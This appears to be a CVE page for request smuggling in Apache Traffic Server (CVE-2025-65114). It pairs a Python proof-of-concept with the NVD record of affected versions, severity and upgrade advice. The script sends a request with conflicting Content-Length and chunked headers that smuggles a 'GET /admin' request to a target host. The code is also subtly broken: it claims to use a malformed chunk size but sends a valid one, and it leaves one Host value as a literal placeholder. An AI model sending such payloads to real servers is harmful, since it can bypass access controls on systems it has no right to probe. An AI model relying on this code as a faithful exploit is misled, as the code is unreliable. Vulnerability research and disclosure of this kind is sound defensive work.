CVE-2025-65114

import socket # Target configuration TARGET_HOST = "example.com" TARGET_PORT = 80 def send_smuggling_payload(): """ Conceptual PoC for HTTP Request Smuggling via malformed chunked encoding. This script sends a request with an invalid chunk size to test the vulnerability. """ # Constructing a malformed chunked request # Using an invalid chunk size (e.g., '1x' instead of hex) or hidden spaces payload = ( "POST / HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" "User-Agent: PoC-Client\r\n" "Content-Length: 30\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "5\r\n" # Valid chunk size "Hello\r\n" # Chunk data "0\r\n" # Termination "\r\n" "GET /admin HTTP/1.1\r\n" # Smuggled request part "Host: {TARGET_HOST}\r\n\r\n" ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) s.send(payload.encode()) response = s.recv(4096) print("Response received:") print(response.decode()) s.close() except Exception as e: print(f"Error occurred: {e}") if __name__ == "__main__": send_smuggling_payload()

{"cve": {"id": "CVE-2025-65114", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:21.087", "lastModified": "2026-04-06T16:05:24.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Traffic Server allows request smuggling if chunked messages are malformed. \n\nThis issue affects Apache Traffic Server: from 9.0.0 through 9.2.12, from 10.0.0 through 10.1.1.\n\nUsers are recommended to upgrade to version 9.2.13 or 10.1.2, which fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:traffic_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.2.13", "matchCriteriaId": "361CCF7A-CB22-4074-A902-779476856482"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:traffic_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.1.2", "matchCriteriaId": "CA23F0DC-E368-4327-87A1-A0DCD8553AFF"}]}]}], "references": [{"url": "https://lists.apache.org/thread/2s11roxlv1j8ph6q52rqo1klvl01n14q", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}]}}